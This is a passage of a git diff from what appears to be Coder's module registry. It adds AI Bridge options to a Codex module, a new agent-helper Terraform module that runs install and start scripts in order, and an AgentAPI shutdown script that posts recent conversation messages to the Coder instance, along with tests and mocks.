ARG_BASE_CONFIG_TOML=$(echo -n "$ARG_BASE_CONFIG_TOML" | base64 -d)
ARG_ADDITIONAL_MCP_SERVERS=$(echo -n "$ARG_ADDITIONAL_MCP_SERVERS" | base64 -d)
ARG_CODEX_INSTRUCTION_PROMPT=$(echo -n "$ARG_CODEX_INSTRUCTION_PROMPT" | base64 -d)
ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
ARG_AIBRIDGE_CONFIG=$(echo -n "$ARG_AIBRIDGE_CONFIG" | base64 -d)
echo "=== Codex Module Configuration ==="
printf "Install Codex: %s\n" "$ARG_INSTALL"
@@ -24,6 +26,7 @@ printf "Has Additional MCP: %s\n" "$([ -n "$ARG_ADDITIONAL_MCP_SERVERS" ] && ech
printf "Has System Prompt: %s\n" "$([ -n "$ARG_CODEX_INSTRUCTION_PROMPT" ] && echo "Yes" || echo "No")"
printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")"
printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS"
printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE"
echo "======================================"
set +o nounset
@@ -127,6 +130,15 @@ EOF
fi
}
append_aibridge_config_section() {
local config_path="$1"
if [ -n "$ARG_AIBRIDGE_CONFIG" ]; then
printf "Adding AI Bridge configuration\n"
echo -e "\n# AI Bridge Configuration\n$ARG_AIBRIDGE_CONFIG" >> "$config_path"
fi
}
function populate_config_toml() {
CONFIG_PATH="$HOME/.codex/config.toml"
mkdir -p "$(dirname "$CONFIG_PATH")"
@@ -140,6 +152,11 @@ function populate_config_toml() {
fi
append_mcp_servers_section "$CONFIG_PATH"
if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then
printf "AI Bridge is enabled\n"
append_aibridge_config_section "$CONFIG_PATH"
fi
}
function add_instruction_prompt_if_exists() {
@@ -185,4 +202,7 @@ install_codex
codex --version
populate_config_toml
add_instruction_prompt_if_exists
add_auth_json
if [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then
add_auth_json
fi
@@ -18,6 +18,7 @@ printf "Version: %s\n" "$(codex --version)"
set -o nounset
ARG_CODEX_TASK_PROMPT=$(echo -n "$ARG_CODEX_TASK_PROMPT" | base64 -d)
ARG_CONTINUE=${ARG_CONTINUE:-true}
ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
echo "=== Codex Launch Configuration ==="
printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")"
@@ -26,6 +27,7 @@ printf "Start Directory: %s\n" "$ARG_CODEX_START_DIRECTORY"
printf "Has Task Prompt: %s\n" "$([ -n "$ARG_CODEX_TASK_PROMPT" ] && echo "Yes" || echo "No")"
printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS"
printf "Continue Sessions: %s\n" "$ARG_CONTINUE"
printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE"
echo "======================================"
set +o nounset
@@ -153,7 +155,10 @@ setup_workdir() {
build_codex_args() {
CODEX_ARGS=()
if [ -n "$ARG_CODEX_MODEL" ]; then
if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then
printf "AI Bridge is enabled, using profile aibridge\n"
CODEX_ARGS+=("--profile" "aibridge")
elif [ -n "$ARG_CODEX_MODEL" ]; then
CODEX_ARGS+=("--model" "$ARG_CODEX_MODEL")
fi
@@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics]
A module that adds Nextflow to your Coder template.
![Nextflow](../../.images/nextflow.png)
```tf
module "nextflow" {
count = data.coder_workspace.me.start_count
@@ -0,0 +1,65 @@
---
display_name: Agent Helper
description: Building block for modules that need orchestrated script execution
icon: ../../../../.icons/coder.svg
verified: false
tags: [internal, library]
---
# Agent Helper
> [!CAUTION]
> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution.
The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts.
> [!NOTE]
>
> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together.
```tf
module "agent_helper" {
source = "registry.coder.com/coder/agent-helper/coder"
version = "1.0.0"
agent_id = coder_agent.main.id
agent_name = "myagent"
module_dir_name = ".my-module"
pre_install_script = <<-EOT
#!/bin/bash
echo "Running pre-install tasks..."
# Your pre-install logic here
EOT
install_script = <<-EOT
#!/bin/bash
echo "Installing dependencies..."
# Your install logic here
EOT
post_install_script = <<-EOT
#!/bin/bash
echo "Running post-install configuration..."
# Your post-install logic here
EOT
start_script = <<-EOT
#!/bin/bash
echo "Starting the application..."
# Your start logic here
EOT
}
```
## Execution Order
The module orchestrates scripts in the following order:
1. **Log File Creation** - Creates module directory and log files
2. **Pre-Install Script** (optional) - Runs before installation
3. **Install Script** - Main installation
4. **Post-Install Script** (optional) - Runs after installation
5. **Start Script** - Starts the application
Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management.
@@ -0,0 +1,13 @@
import { describe } from "bun:test";
import { runTerraformInit, testRequiredVariables } from "~test";
describe("agent-helper", async () => {
await runTerraformInit(import.meta.dir);
testRequiredVariables(import.meta.dir, {
agent_id: "test-agent-id",
agent_name: "test-agent",
module_dir_name: ".test-module",
start_script: "echo 'start'",
});
});
+190
View File
@@ -0,0 +1,190 @@
terraform {
required_version = ">= 1.0"
required_providers {
coder = {
source = "coder/coder"
version = ">= 2.13"
}
}
}
variable "agent_id" {
type = string
description = "The ID of a Coder agent."
}
data "coder_workspace" "me" {}
data "coder_workspace_owner" "me" {}
data "coder_task" "me" {}
variable "pre_install_script" {
type = string
description = "Custom script to run before installing the agent used by AgentAPI."
default = null
}
variable "install_script" {
type = string
description = "Script to install the agent used by AgentAPI."
default = null
}
variable "post_install_script" {
type = string
description = "Custom script to run after installing the agent used by AgentAPI."
default = null
}
variable "start_script" {
type = string
description = "Script that starts AgentAPI."
}
variable "agent_name" {
type = string
description = "The name of the agent. This is used to construct unique script names for the experiment sync."
}
variable "module_dir_name" {
type = string
description = "The name of the module directory."
}
locals {
encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : ""
encoded_install_script = var.install_script != null ? base64encode(var.install_script) : ""
encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : ""
encoded_start_script = base64encode(var.start_script)
pre_install_script_name = "${var.agent_name}-pre_install_script"
install_script_name = "${var.agent_name}-install_script"
post_install_script_name = "${var.agent_name}-post_install_script"
start_script_name = "${var.agent_name}-start_script"
module_dir_path = "$HOME/${var.module_dir_name}"
pre_install_path = "${local.module_dir_path}/pre_install.sh"
install_path = "${local.module_dir_path}/install.sh"
post_install_path = "${local.module_dir_path}/post_install.sh"
start_path = "${local.module_dir_path}/start.sh"
pre_install_log_path = "${local.module_dir_path}/pre_install.log"
install_log_path = "${local.module_dir_path}/install.log"
post_install_log_path = "${local.module_dir_path}/post_install.log"
start_log_path = "${local.module_dir_path}/start.log"
}
resource "coder_script" "pre_install_script" {
count = var.pre_install_script == null ? 0 : 1
agent_id = var.agent_id
display_name = "Pre-Install Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
mkdir -p ${local.module_dir_path}
trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT
coder exp sync start ${local.pre_install_script_name}
echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path}
chmod +x ${local.pre_install_path}
${local.pre_install_path} > ${local.pre_install_log_path} 2>&1
EOT
}
resource "coder_script" "install_script" {
agent_id = var.agent_id
display_name = "Install Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
mkdir -p ${local.module_dir_path}
trap 'coder exp sync complete ${local.install_script_name}' EXIT
%{if var.pre_install_script != null~}
coder exp sync want ${local.install_script_name} ${local.pre_install_script_name}
%{endif~}
coder exp sync start ${local.install_script_name}
echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path}
chmod +x ${local.install_path}
${local.install_path} > ${local.install_log_path} 2>&1
EOT
}
resource "coder_script" "post_install_script" {
count = var.post_install_script != null ? 1 : 0
agent_id = var.agent_id
display_name = "Post-Install Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
trap 'coder exp sync complete ${local.post_install_script_name}' EXIT
coder exp sync want ${local.post_install_script_name} ${local.install_script_name}
coder exp sync start ${local.post_install_script_name}
echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path}
chmod +x ${local.post_install_path}
${local.post_install_path} > ${local.post_install_log_path} 2>&1
EOT
}
resource "coder_script" "start_script" {
agent_id = var.agent_id
display_name = "Start Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
trap 'coder exp sync complete ${local.start_script_name}' EXIT
%{if var.post_install_script != null~}
coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name}
%{else~}
coder exp sync want ${local.start_script_name} ${local.install_script_name}
%{endif~}
coder exp sync start ${local.start_script_name}
echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path}
chmod +x ${local.start_path}
${local.start_path} > ${local.start_log_path} 2>&1
EOT
}
output "pre_install_script_name" {
description = "The name of the pre-install script for sync."
value = local.pre_install_script_name
}
output "install_script_name" {
description = "The name of the install script for sync."
value = local.install_script_name
}
output "post_install_script_name" {
description = "The name of the post-install script for sync."
value = local.post_install_script_name
}
output "start_script_name" {
description = "The name of the start script for sync."
value = local.start_script_name
}
@@ -0,0 +1,271 @@
# Test for agent-helper module
# Test with all scripts provided
run "test_with_all_scripts" {
command = plan
variables {
agent_id = "test-agent-id"
agent_name = "test-agent"
module_dir_name = ".test-module"
pre_install_script = "echo 'pre-install'"
install_script = "echo 'install'"
post_install_script = "echo 'post-install'"
start_script = "echo 'start'"
}
# Verify pre_install_script is created when provided
assert {
condition = length(coder_script.pre_install_script) == 1
error_message = "Pre-install script should be created when pre_install_script is provided"
}
assert {
condition = coder_script.pre_install_script[0].agent_id == "test-agent-id"
error_message = "Pre-install script agent ID should match input"
}
assert {
condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script"
error_message = "Pre-install script should have correct display name"
}
assert {
condition = coder_script.pre_install_script[0].run_on_start == true
error_message = "Pre-install script should run on start"
}
# Verify install_script is created
assert {
condition = coder_script.install_script.agent_id == "test-agent-id"
error_message = "Install script agent ID should match input"
}
assert {
condition = coder_script.install_script.display_name == "Install Script"
error_message = "Install script should have correct display name"
}
assert {
condition = coder_script.install_script.run_on_start == true
error_message = "Install script should run on start"
}
# Verify post_install_script is created when provided
assert {
condition = length(coder_script.post_install_script) == 1
error_message = "Post-install script should be created when post_install_script is provided"
}
assert {
condition = coder_script.post_install_script[0].agent_id == "test-agent-id"
error_message = "Post-install script agent ID should match input"
}
assert {
condition = coder_script.post_install_script[0].display_name == "Post-Install Script"
error_message = "Post-install script should have correct display name"
}
assert {
condition = coder_script.post_install_script[0].run_on_start == true
error_message = "Post-install script should run on start"
}
# Verify start_script is created
assert {
condition = coder_script.start_script.agent_id == "test-agent-id"
error_message = "Start script agent ID should match input"
}
assert {
condition = coder_script.start_script.display_name == "Start Script"
error_message = "Start script should have correct display name"
}
assert {
condition = coder_script.start_script.run_on_start == true
error_message = "Start script should run on start"
}
# Verify outputs for script names
assert {
condition = output.pre_install_script_name == "test-agent-pre_install_script"
error_message = "Pre-install script name output should be correctly formatted"
}
assert {
condition = output.install_script_name == "test-agent-install_script"
error_message = "Install script name output should be correctly formatted"
}
assert {
condition = output.post_install_script_name == "test-agent-post_install_script"
error_message = "Post-install script name output should be correctly formatted"
}
assert {
condition = output.start_script_name == "test-agent-start_script"
error_message = "Start script name output should be correctly formatted"
}
}
# Test with only required scripts (no pre/post install)
run "test_without_optional_scripts" {
command = plan
variables {
agent_id = "test-agent-id"
agent_name = "test-agent"
module_dir_name = ".test-module"
install_script = "echo 'install'"
start_script = "echo 'start'"
}
# Verify pre_install_script is NOT created when not provided
assert {
condition = length(coder_script.pre_install_script) == 0
error_message = "Pre-install script should not be created when pre_install_script is null"
}
# Verify post_install_script is NOT created when not provided
assert {
condition = length(coder_script.post_install_script) == 0
error_message = "Post-install script should not be created when post_install_script is null"
}
# Verify required scripts are still created
assert {
condition = coder_script.install_script.agent_id == "test-agent-id"
error_message = "Install script should be created"
}
assert {
condition = coder_script.start_script.agent_id == "test-agent-id"
error_message = "Start script should be created"
}
# Verify outputs
assert {
condition = output.pre_install_script_name == "test-agent-pre_install_script"
error_message = "Pre-install script name output should be generated even when script is not created"
}
assert {
condition = output.install_script_name == "test-agent-install_script"
error_message = "Install script name output should be correctly formatted"
}
assert {
condition = output.post_install_script_name == "test-agent-post_install_script"
error_message = "Post-install script name output should be generated even when script is not created"
}
assert {
condition = output.start_script_name == "test-agent-start_script"
error_message = "Start script name output should be correctly formatted"
}
}
# Test with mock data sources
run "test_with_mock_data" {
command = plan
variables {
agent_id = "mock-agent"
agent_name = "mock-agent"
module_dir_name = ".mock-module"
install_script = "echo 'install'"
start_script = "echo 'start'"
}
# Mock the data sources for testing
override_data {
target = data.coder_workspace.me
values = {
id = "test-workspace-id"
name = "test-workspace"
owner = "test-owner"
owner_id = "test-owner-id"
template_id = "test-template-id"
template_name = "test-template"
access_url = "https://coder.example.com"
start_count = 1
transition = "start"
}
}
override_data {
target = data.coder_workspace_owner.me
values = {
id = "test-owner-id"
email = "test@example.com"
name = "Test User"
session_token = "mock-token"
}
}
override_data {
target = data.coder_task.me
values = {
id = "test-task-id"
}
}
# Verify scripts are created with mocked data
assert {
condition = coder_script.install_script.agent_id == "mock-agent"
error_message = "Install script should use the mocked agent ID"
}
assert {
condition = coder_script.start_script.agent_id == "mock-agent"
error_message = "Start script should use the mocked agent ID"
}
}
# Test script naming with custom agent_name
run "test_script_naming" {
command = plan
variables {
agent_id = "test-agent"
agent_name = "custom-name"
module_dir_name = ".test-module"
install_script = "echo 'install'"
start_script = "echo 'start'"
}
# Verify script names are constructed correctly
# The script should contain references to custom-name-* in the sync commands
assert {
condition = can(regex("custom-name-install_script", coder_script.install_script.script))
error_message = "Install script should use custom agent_name in sync commands"
}
assert {
condition = can(regex("custom-name-start_script", coder_script.start_script.script))
error_message = "Start script should use custom agent_name in sync commands"
}
# Verify outputs use custom agent_name
assert {
condition = output.pre_install_script_name == "custom-name-pre_install_script"
error_message = "Pre-install script name output should use custom agent_name"
}
assert {
condition = output.install_script_name == "custom-name-install_script"
error_message = "Install script name output should use custom agent_name"
}
assert {
condition = output.post_install_script_name == "custom-name-post_install_script"
error_message = "Post-install script name output should use custom agent_name"
}
assert {
condition = output.start_script_name == "custom-name-start_script"
error_message = "Start script name output should use custom agent_name"
}
}
+14 -1
View File
@@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI
```tf
module "agentapi" {
source = "registry.coder.com/coder/agentapi/coder"
version = "2.0.0"
version = "2.1.1"
agent_id = var.agent_id
web_app_slug = local.app_slug
@@ -49,6 +49,19 @@ module "agentapi" {
}
```
## Task log snapshot
Captures the last 10 messages from AgentAPI when a task workspace stops. This allows viewing conversation history while the task is paused.
To enable for task workspaces:
```tf
module "agentapi" {
# ... other config
task_log_snapshot = true # default: true
}
```
## For module developers
For a complete example of how to use this module, see the [Goose module](https://github.com/coder/registry/blob/main/registry/coder/modules/goose/main.tf).
@@ -257,4 +257,157 @@ describe("agentapi", async () => {
);
expect(agentApiStartLog).toContain("AGENTAPI_ALLOWED_HOSTS: *");
});
describe("shutdown script", async () => {
const setupMocks = async (
containerId: string,
agentapiPreset: string,
httpCode: number = 204,
) => {
const agentapiMock = await loadTestFile(
import.meta.dir,
"agentapi-mock-shutdown.js",
);
const coderMock = await loadTestFile(
import.meta.dir,
"coder-instance-mock.js",
);
await writeExecutable({
containerId,
filePath: "/usr/local/bin/mock-agentapi",
content: agentapiMock,
});
await writeExecutable({
containerId,
filePath: "/usr/local/bin/mock-coder",
content: coderMock,
});
await execContainer(containerId, [
"bash",
"-c",
`PRESET=${agentapiPreset} nohup node /usr/local/bin/mock-agentapi 3284 > /tmp/mock-agentapi.log 2>&1 &`,
]);
await execContainer(containerId, [
"bash",
"-c",
`HTTP_CODE=${httpCode} nohup node /usr/local/bin/mock-coder 18080 > /tmp/mock-coder.log 2>&1 &`,
]);
await new Promise((resolve) => setTimeout(resolve, 1000));
};
const runShutdownScript = async (
containerId: string,
taskId: string = "test-task",
) => {
const shutdownScript = await loadTestFile(
import.meta.dir,
"../scripts/agentapi-shutdown.sh",
);
await writeExecutable({
containerId,
filePath: "/tmp/shutdown.sh",
content: shutdownScript,
});
return await execContainer(containerId, [
"bash",
"-c",
`ARG_TASK_ID=${taskId} ARG_AGENTAPI_PORT=3284 CODER_AGENT_URL=http://localhost:18080 CODER_AGENT_TOKEN=test-token /tmp/shutdown.sh`,
]);
};
test("posts snapshot with normal messages", async () => {
const { id } = await setup({
moduleVariables: {},
skipAgentAPIMock: true,
});
await setupMocks(id, "normal");
const result = await runShutdownScript(id);
expect(result.exitCode).toBe(0);
expect(result.stdout).toContain("Retrieved 5 messages for log snapshot");
expect(result.stdout).toContain("Log snapshot posted successfully");
const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
const snapshot = JSON.parse(posted);
expect(snapshot.task_id).toBe("test-task");
expect(snapshot.payload.messages).toHaveLength(5);
expect(snapshot.payload.messages[0].content).toBe("Hello");
expect(snapshot.payload.messages[4].content).toBe("Great");
});
test("truncates to last 10 messages", async () => {
const { id } = await setup({
moduleVariables: {},
skipAgentAPIMock: true,
});
await setupMocks(id, "many");
const result = await runShutdownScript(id);
expect(result.exitCode).toBe(0);
const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
const snapshot = JSON.parse(posted);
expect(snapshot.task_id).toBe("test-task");
expect(snapshot.payload.messages).toHaveLength(10);
expect(snapshot.payload.messages[0].content).toBe("Message 6");
expect(snapshot.payload.messages[9].content).toBe("Message 15");
});
test("truncates huge message content", async () => {
const { id } = await setup({
moduleVariables: {},
skipAgentAPIMock: true,
});
await setupMocks(id, "huge");
const result = await runShutdownScript(id);
expect(result.exitCode).toBe(0);
expect(result.stdout).toContain("truncating final message content");
const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
const snapshot = JSON.parse(posted);
expect(snapshot.task_id).toBe("test-task");
expect(snapshot.payload.messages).toHaveLength(1);
expect(snapshot.payload.messages[0].content).toContain(
"[...content truncated",
);
});
test("skips gracefully when TASK_ID is empty", async () => {
const { id } = await setup({
moduleVariables: {},
skipAgentAPIMock: true,
});
const result = await runShutdownScript(id, "");
expect(result.exitCode).toBe(0);
expect(result.stdout).toContain("No task ID, skipping log snapshot");
});
test("handles 404 gracefully for older Coder versions", async () => {
const { id } = await setup({
moduleVariables: {},
skipAgentAPIMock: true,
});
await setupMocks(id, "normal", 404);
const result = await runShutdownScript(id);
expect(result.exitCode).toBe(0);
expect(result.stdout).toContain(
"Log snapshot endpoint not supported by this Coder version",
);
});
});
});
+31 -1
View File
@@ -4,7 +4,7 @@ terraform {
required_providers {
coder = {
source = "coder/coder"
version = ">= 2.12"
version = ">= 2.13"
}
}
}
@@ -18,6 +18,8 @@ data "coder_workspace" "me" {}
data "coder_workspace_owner" "me" {}
data "coder_task" "me" {}
variable "web_app_order" {
type = number
description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order)."
@@ -126,6 +128,12 @@ variable "agentapi_port" {
default = 3284
}
variable "task_log_snapshot" {
type = bool
description = "Capture last 10 messages when workspace stops for offline viewing while task is paused."
default = true
}
locals {
# agentapi_subdomain_false_min_version_expr matches a semantic version >= v0.3.3.
# Initial support was added in v0.3.1 but configuration via environment variable
@@ -173,6 +181,7 @@ locals {
// for backward compatibility.
agentapi_chat_base_path = var.agentapi_subdomain ? "" : "/@${data.coder_workspace_owner.me.name}/${data.coder_workspace.me.name}.${var.agent_id}/apps/${var.web_app_slug}/chat"
main_script = file("${path.module}/scripts/main.sh")
shutdown_script = file("${path.module}/scripts/agentapi-shutdown.sh")
}
resource "coder_script" "agentapi" {
@@ -198,11 +207,32 @@ resource "coder_script" "agentapi" {
ARG_POST_INSTALL_SCRIPT="$(echo -n '${local.encoded_post_install_script}' | base64 -d)" \
ARG_AGENTAPI_PORT='${var.agentapi_port}' \
ARG_AGENTAPI_CHAT_BASE_PATH='${local.agentapi_chat_base_path}' \
ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \
ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \
/tmp/main.sh
EOT
run_on_start = true
}
resource "coder_script" "agentapi_shutdown" {
agent_id = var.agent_id
display_name = "AgentAPI Shutdown"
icon = var.web_app_icon
run_on_stop = true
script = <<-EOT
#!/bin/bash
set -o pipefail
echo -n '${base64encode(local.shutdown_script)}' | base64 -d > /tmp/agentapi-shutdown.sh
chmod +x /tmp/agentapi-shutdown.sh
ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \
ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \
ARG_AGENTAPI_PORT='${var.agentapi_port}' \
/tmp/agentapi-shutdown.sh
EOT
}
resource "coder_app" "agentapi_web" {
slug = var.web_app_slug
display_name = var.web_app_display_name
@@ -0,0 +1,212 @@
#!/usr/bin/env bash
# AgentAPI shutdown script.
#
# Captures the last 10 messages from AgentAPI and posts them to Coder instance
# as a snapshot. This script is called during workspace shutdown to access
# conversation history for paused tasks.
set -euo pipefail
# Configuration (set via Terraform interpolation).
readonly TASK_ID="${ARG_TASK_ID:-}"
readonly TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}"
readonly AGENTAPI_PORT="${ARG_AGENTAPI_PORT:-3284}"
# Runtime environment variables.
readonly CODER_AGENT_URL="${CODER_AGENT_URL:-}"
readonly CODER_AGENT_TOKEN="${CODER_AGENT_TOKEN:-}"
# Constants.
readonly MAX_PAYLOAD_SIZE=65536 # 64KB
readonly MAX_MESSAGE_CONTENT=57344 # 56KB
readonly MAX_MESSAGES=10
readonly FETCH_TIMEOUT=5
readonly POST_TIMEOUT=10
log() {
echo "$*"
}
error() {
echo "Error: $*" >&2
}
fetch_and_build_messages_payload() {
local payload_file="$1"
local messages_url="http://localhost:${AGENTAPI_PORT}/messages"
log "Fetching messages from AgentAPI on port $AGENTAPI_PORT"
if ! curl -fsSL --max-time "$FETCH_TIMEOUT" "$messages_url" > "$payload_file"; then
error "Failed to fetch messages from AgentAPI (may not be running)"
return 1
fi
# Update messages field to keep only last N messages.
if ! jq --argjson n "$MAX_MESSAGES" '.messages |= .[-$n:]' < "$payload_file" > "${payload_file}.tmp"; then
error "Failed to select last $MAX_MESSAGES messages"
return 1
fi
mv "${payload_file}.tmp" "$payload_file"
return 0
}
truncate_messages_payload_to_size() {
local payload_file="$1"
local max_size="$2"
while true; do
local size
size=$(wc -c < "$payload_file")
if ((size <= max_size)); then
break
fi
local count
count=$(jq '.messages | length' < "$payload_file")
if ((count == 1)); then
# Down to last message, truncate its content keeping the tail.
log "Payload size $size bytes exceeds limit, truncating final message content"
# Keep tail of content with truncation indicator, leaving room for JSON
# overhead.
if ! jq --argjson maxlen "$MAX_MESSAGE_CONTENT" '.messages[0].content |= (if length > $maxlen then "[...content truncated, showing last 56KB...]\n\n" + .[-$maxlen:] else . end)' < "$payload_file" > "${payload_file}.tmp"; then
error "Failed to truncate message content"
return 1
fi
mv "${payload_file}.tmp" "$payload_file"
# Verify the truncation was sufficient.
size=$(wc -c < "$payload_file")
if ((size > max_size)); then
error "Payload still too large after content truncation, giving up"
return 1
fi
break
else
# More than one message, remove the oldest.
log "Payload size $size bytes exceeds limit, removing oldest message"
if ! jq '.messages |= .[1:]' < "$payload_file" > "${payload_file}.tmp"; then
error "Failed to remove oldest message"
return 1
fi
mv "${payload_file}.tmp" "$payload_file"
fi
done
return 0
}
post_task_log_snapshot() {
local payload_file="$1"
local tmpdir="$2"
local snapshot_url="${CODER_AGENT_URL}/api/v2/workspaceagents/me/tasks/${TASK_ID}/log-snapshot?format=agentapi"
local response_file="${tmpdir}/response.txt"
log "Posting log snapshot to Coder instance"
local http_code
if ! http_code=$(curl -sS -w "%{http_code}" -o "$response_file" \
--max-time "$POST_TIMEOUT" \
-X POST "$snapshot_url" \
-H "Coder-Session-Token: $CODER_AGENT_TOKEN" \
-H "Content-Type: application/json" \
--data-binary "@$payload_file"); then
error "Failed to connect to Coder instance (curl failed)"
return 1
fi
if [[ $http_code == 204 ]]; then
log "Log snapshot posted successfully"
return 0
elif [[ $http_code == 404 ]]; then
log "Log snapshot endpoint not supported by this Coder version, skipping"
return 0
else
local response
response=$(cat "$response_file" 2> /dev/null || echo "")
error "Failed to post log snapshot (HTTP $http_code): $response"
return 1
fi
}
capture_task_log_snapshot() {
if [[ -z $TASK_ID ]]; then
log "No task ID, skipping log snapshot"
exit 0
fi
if [[ -z $CODER_AGENT_URL ]]; then
error "CODER_AGENT_URL not set, cannot capture log snapshot"
exit 1
fi
if [[ -z $CODER_AGENT_TOKEN ]]; then
error "CODER_AGENT_TOKEN not set, cannot capture log snapshot"
exit 1
fi
if ! command -v jq > /dev/null 2>&1; then
error "jq not found, cannot capture log snapshot"
exit 1
fi
if ! command -v curl > /dev/null 2>&1; then
error "curl not found, cannot capture log snapshot"
exit 1
fi
tmpdir=$(mktemp -d)
trap 'rm -rf "$tmpdir"' EXIT
local payload_file="${tmpdir}/payload.json"
if ! fetch_and_build_messages_payload "$payload_file"; then
error "Cannot capture log snapshot without messages"
exit 1
fi
local message_count
message_count=$(jq '.messages | length' < "$payload_file")
if ((message_count == 0)); then
log "No messages for log snapshot"
exit 0
fi
log "Retrieved $message_count messages for log snapshot"
# Ensure payload fits within size limit.
if ! truncate_messages_payload_to_size "$payload_file" "$MAX_PAYLOAD_SIZE"; then
error "Failed to truncate payload to size limit"
exit 1
fi
local final_size final_count
final_size=$(wc -c < "$payload_file")
final_count=$(jq '.messages | length' < "$payload_file")
log "Log snapshot payload: $final_size bytes, $final_count messages"
if ! post_task_log_snapshot "$payload_file" "$tmpdir"; then
error "Log snapshot capture failed"
exit 1
fi
}
main() {
log "Shutting down AgentAPI"
if [[ $TASK_LOG_SNAPSHOT == true ]]; then
capture_task_log_snapshot
else
log "Log snapshot disabled, skipping"
fi
log "Shutdown complete"
}
main "$@"
@@ -3,20 +3,22 @@ set -o errexit
set -o pipefail
port=${1:-3284}
max_attempts=150
# This script waits for the agentapi server to start on port 3284.
# This script waits for the agentapi server to start on the given port.
# Each attempt sleeps 0.1s, so 150 attempts ≈ 15 seconds.
# It considers the server started after 3 consecutive successful responses.
agentapi_started=false
echo "Waiting for agentapi server to start on port $port..."
for i in $(seq 1 150); do
for i in $(seq 1 "$max_attempts"); do
for j in $(seq 1 3); do
sleep 0.1
if curl -fs -o /dev/null "http://localhost:$port/status"; then
echo "agentapi response received ($j/3)"
else
echo "agentapi server not responding ($i/15)"
echo "agentapi server not responding ($i/$max_attempts)"
continue 2
fi
done
@@ -25,7 +27,7 @@ for i in $(seq 1 150); do
done
if [ "$agentapi_started" != "true" ]; then
echo "Error: agentapi server did not start on port $port after 15 seconds."
echo "Error: agentapi server did not start on port $port after $max_attempts attempts."
exit 1
fi
@@ -14,6 +14,8 @@ WAIT_FOR_START_SCRIPT="$ARG_WAIT_FOR_START_SCRIPT"
POST_INSTALL_SCRIPT="$ARG_POST_INSTALL_SCRIPT"
AGENTAPI_PORT="$ARG_AGENTAPI_PORT"
AGENTAPI_CHAT_BASE_PATH="${ARG_AGENTAPI_CHAT_BASE_PATH:-}"
TASK_ID="${ARG_TASK_ID:-}"
TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}"
set +o nounset
command_exists() {
@@ -23,6 +25,13 @@ command_exists() {
module_path="$HOME/${MODULE_DIR_NAME}"
mkdir -p "$module_path/scripts"
# Check for jq dependency if task log snapshot is enabled.
if [[ $TASK_LOG_SNAPSHOT == true ]] && [[ -n $TASK_ID ]]; then
if ! command_exists jq; then
echo "Warning: jq is not installed. Task log snapshot requires jq to capture conversation history."
echo "Install jq to enable log snapshot functionality when the workspace stops."
fi
fi
if [ ! -d "${WORKDIR}" ]; then
echo "Warning: The specified folder '${WORKDIR}' does not exist."
echo "Creating the folder..."
@@ -0,0 +1,84 @@
#!/usr/bin/env node
// Mock AgentAPI server for shutdown script tests.
// Usage: MESSAGES='[...]' node agentapi-mock-shutdown.js [port]
const http = require("http");
const port = process.argv[2] || 3284;
// Parse messages from environment or use default
let messages = [];
if (process.env.MESSAGES) {
try {
messages = JSON.parse(process.env.MESSAGES);
} catch (e) {
console.error("Failed to parse MESSAGES env var:", e.message);
process.exit(1);
}
}
// Presets for common test scenarios
if (process.env.PRESET === "normal") {
messages = [
{ id: 1, type: "input", content: "Hello", time: "2025-01-01T00:00:00Z" },
{
id: 2,
type: "output",
content: "Hi there",
time: "2025-01-01T00:00:01Z",
},
{
id: 3,
type: "input",
content: "How are you?",
time: "2025-01-01T00:00:02Z",
},
{
id: 4,
type: "output",
content: "Good!",
time: "2025-01-01T00:00:03Z",
},
{ id: 5, type: "input", content: "Great", time: "2025-01-01T00:00:04Z" },
];
} else if (process.env.PRESET === "many") {
messages = Array.from({ length: 15 }, (_, i) => ({
id: i + 1,
type: "input",
content: `Message ${i + 1}`,
time: "2025-01-01T00:00:00Z",
}));
} else if (process.env.PRESET === "huge") {
messages = [
{
id: 1,
type: "output",
content: "x".repeat(70000),
time: "2025-01-01T00:00:00Z",
},
];
}
const server = http.createServer((req, res) => {
